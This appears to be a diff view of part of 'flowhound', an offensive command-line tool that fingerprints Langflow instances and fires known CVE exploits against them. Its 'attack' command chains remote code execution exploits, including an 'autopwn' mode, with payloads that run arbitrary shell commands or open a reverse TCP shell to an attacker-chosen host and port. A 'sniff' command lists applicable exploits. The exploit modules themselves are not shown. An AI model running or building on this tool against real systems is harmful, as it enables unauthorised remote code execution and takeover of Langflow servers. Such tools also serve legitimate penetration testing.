⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
|
|
35
|
+
⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
|
|
36
|
+
⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
|
|
37
|
+
⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
|
|
38
|
+
⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
|
|
39
|
+
⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
|
|
40
|
+
⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
|
|
41
|
+
⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
Every Flow Leaves Tracks.
|
|
45
|
+
""")
|
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
3
|
+
from concurrent.futures import TimeoutError as FutureTimeoutError
|
|
4
|
+
|
|
5
|
+
import click
|
|
6
|
+
|
|
7
|
+
from flowhound.cli.banner import banner
|
|
8
|
+
from flowhound.cli.validators import validate_proxy, validate_url
|
|
9
|
+
from flowhound.vulnerabilities.io.database import Database
|
|
10
|
+
from flowhound.vulnerabilities.io.version_detection import get_target_version
|
|
11
|
+
from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
|
|
12
|
+
|
|
13
|
+
EXPLOIT_TIMEOUT = 60 # seconds before a single exploit attempt is abandoned
|
|
14
|
+
logger = logging.getLogger(__name__)
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def _get_payload(cmd: str | None, reverse_shell: str | None):
|
|
18
|
+
payload = None
|
|
19
|
+
|
|
20
|
+
if cmd:
|
|
21
|
+
payload = PAYLOAD_MAP["command"](cmd=cmd)
|
|
22
|
+
logger.info(f"Using execute_bash_command payload: {cmd!r}")
|
|
23
|
+
elif reverse_shell:
|
|
24
|
+
try:
|
|
25
|
+
lhost, lport_str = reverse_shell.rsplit(":", 1)
|
|
26
|
+
lport = int(lport_str)
|
|
27
|
+
except ValueError:
|
|
28
|
+
raise click.BadParameter(
|
|
29
|
+
"--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
|
|
30
|
+
)
|
|
31
|
+
|
|
32
|
+
if not (1 <= lport <= 65535):
|
|
33
|
+
raise click.BadParameter("Port must be between 1 and 65535.")
|
|
34
|
+
payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
|
|
35
|
+
logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
|
|
36
|
+
|
|
37
|
+
return payload
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _execute_exploit(
|
|
41
|
+
exploit_module,
|
|
42
|
+
base_url: str,
|
|
43
|
+
username: str,
|
|
44
|
+
password: str,
|
|
45
|
+
proxies: dict[str, str] | None,
|
|
46
|
+
payload,
|
|
47
|
+
timeout: int = EXPLOIT_TIMEOUT,
|
|
48
|
+
) -> bool:
|
|
49
|
+
"""
|
|
50
|
+
Executes an exploit module with a cross-platform timeout.
|
|
51
|
+
"""
|
|
52
|
+
with ThreadPoolExecutor(max_workers=1) as executor:
|
|
53
|
+
future = executor.submit(
|
|
54
|
+
exploit_module.exploit,
|
|
55
|
+
base_url=base_url,
|
|
56
|
+
username=username,
|
|
57
|
+
password=password,
|
|
58
|
+
proxies=proxies,
|
|
59
|
+
payload=payload,
|
|
60
|
+
)
|
|
61
|
+
return future.result(timeout=timeout)
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
@click.command(help="Launch one or more exploits against a Langflow instance.")
|
|
65
|
+
@click.option(
|
|
66
|
+
"--url",
|
|
67
|
+
required=True,
|
|
68
|
+
help="URL of target Langflow instance",
|
|
69
|
+
callback=validate_url,
|
|
70
|
+
)
|
|
71
|
+
@click.option(
|
|
72
|
+
"--username", required=False, default="", help="Target Langflow instance username"
|
|
73
|
+
)
|
|
74
|
+
@click.option(
|
|
75
|
+
"--password", required=False, default="", help="Target Langflow instance password"
|
|
76
|
+
)
|
|
77
|
+
@click.option(
|
|
78
|
+
"--autopwn",
|
|
79
|
+
required=False,
|
|
80
|
+
is_flag=True,
|
|
81
|
+
default=False,
|
|
82
|
+
help="Launch all available exploits, instead of stopping at first successful attempt.",
|
|
83
|
+
)
|
|
84
|
+
@click.option(
|
|
85
|
+
"--proxy",
|
|
86
|
+
required=False,
|
|
87
|
+
default=None,
|
|
88
|
+
help="HTTP(s) proxy to use for network I/O operations",
|
|
89
|
+
callback=validate_proxy,
|
|
90
|
+
)
|
|
91
|
+
@click.option(
|
|
92
|
+
"--command",
|
|
93
|
+
"cmd",
|
|
94
|
+
required=False,
|
|
95
|
+
default=None,
|
|
96
|
+
help="Shell command to execute on the target (uses execute_bash_command payload).",
|
|
97
|
+
)
|
|
98
|
+
@click.option(
|
|
99
|
+
"--reverse_shell",
|
|
100
|
+
required=False,
|
|
101
|
+
default=None,
|
|
102
|
+
help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
|
|
103
|
+
)
|
|
104
|
+
@click.pass_context
|
|
105
|
+
def attack(
|
|
106
|
+
ctx: click.Context,
|
|
107
|
+
url: str,
|
|
108
|
+
username: str,
|
|
109
|
+
password: str,
|
|
110
|
+
autopwn: bool,
|
|
111
|
+
proxy: str,
|
|
112
|
+
cmd: str | None,
|
|
113
|
+
reverse_shell: str | None,
|
|
114
|
+
):
|
|
115
|
+
banner()
|
|
116
|
+
db: Database = ctx.obj
|
|
117
|
+
has_credentials = False
|
|
118
|
+
logger.info("Checking target Langflow version.")
|
|
119
|
+
|
|
120
|
+
if cmd and reverse_shell:
|
|
121
|
+
raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
|
|
122
|
+
if any([username, password]) and not all([username, password]):
|
|
123
|
+
raise click.BadParameter(
|
|
124
|
+
"`--username` and `--password` must be provided together."
|
|
125
|
+
)
|
|
126
|
+
elif username and password:
|
|
127
|
+
has_credentials = True
|
|
128
|
+
logger.warning(
|
|
129
|
+
"Langflow login credentials detected. Results will Include Auth RCE exploit modules."
|
|
130
|
+
)
|
|
131
|
+
|
|
132
|
+
proxies = {"http": proxy, "https": proxy} if proxy else None
|
|
133
|
+
|
|
134
|
+
# Determine payload to use
|
|
135
|
+
payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
|
|
136
|
+
|
|
137
|
+
# Determine victim langflow version
|
|
138
|
+
try:
|
|
139
|
+
target_version = get_target_version(base_url=url, proxies=proxies)
|
|
140
|
+
except RuntimeError as e:
|
|
141
|
+
raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
|
|
142
|
+
|
|
143
|
+
# Determine vulns & corresponding exploit modules
|
|
144
|
+
try:
|
|
145
|
+
vuln_lst = db.retrieve_vulnerabilities(
|
|
146
|
+
target_version=target_version, is_auth=has_credentials
|
|
147
|
+
)
|
|
148
|
+
except Exception as e: # noqa: BLE001
|
|
149
|
+
raise click.ClickException(f"Error retrieving exploits: {e!s}")
|
|
150
|
+
|
|
151
|
+
# Fire exploits
|
|
152
|
+
logger.info(
|
|
153
|
+
f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
|
|
154
|
+
)
|
|
155
|
+
for vuln in vuln_lst:
|
|
156
|
+
click.echo("")
|
|
157
|
+
logger.info(
|
|
158
|
+
f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
|
|
159
|
+
)
|
|
160
|
+
exploit_module = vuln.get_exploit_instance()
|
|
161
|
+
|
|
162
|
+
try:
|
|
163
|
+
result = _execute_exploit(
|
|
164
|
+
exploit_module=exploit_module,
|
|
165
|
+
base_url=url,
|
|
166
|
+
username=username,
|
|
167
|
+
password=password,
|
|
168
|
+
proxies=proxies,
|
|
169
|
+
payload=payload,
|
|
170
|
+
)
|
|
171
|
+
except FutureTimeoutError:
|
|
172
|
+
logger.warning(
|
|
173
|
+
f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
|
|
174
|
+
)
|
|
175
|
+
result = False
|
|
176
|
+
|
|
177
|
+
if not autopwn and result:
|
|
178
|
+
logger.info("Exploitation successful. Stopping at first attempt.")
|
|
179
|
+
break
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
@click.command(help="Determine target Langflow version.")
|
|
183
|
+
@click.option(
|
|
184
|
+
"--url",
|
|
185
|
+
required=True,
|
|
186
|
+
help="URL of target Langflow instance",
|
|
187
|
+
callback=validate_url,
|
|
188
|
+
)
|
|
189
|
+
@click.option(
|
|
190
|
+
"--proxy",
|
|
191
|
+
required=False,
|
|
192
|
+
default=None,
|
|
193
|
+
help="HTTP(s) proxy to use for network I/O operations",
|
|
194
|
+
callback=validate_proxy,
|
|
195
|
+
)
|
|
196
|
+
@click.pass_context
|
|
197
|
+
def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
|
|
198
|
+
db: Database = ctx.obj
|
|
199
|
+
|
|
200
|
+
# Determine victim langflow version
|
|
201
|
+
logger.info("Checking target Langflow version.")
|
|
202
|
+
try:
|
|
203
|
+
target_version = get_target_version(base_url=url, proxies=proxy)
|
|
204
|
+
except RuntimeError as e:
|
|
205
|
+
raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
|
|
206
|
+
|
|
207
|
+
logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
|
|
208
|
+
try:
|
|
209
|
+
vuln_lst = db.retrieve_vulnerabilities(
|
|
210
|
+
target_version=target_version, is_auth=True
|
|
211
|
+
)
|
|
212
|
+
except Exception as e: # noqa: BLE001
|
|
213
|
+
raise click.ClickException(f"Error retrieving exploits: {e!s}")
|
|
214
|
+
|
|
215
|
+
for vuln in vuln_lst:
|
|
216
|
+
logger.info(vuln.exploit_module)
|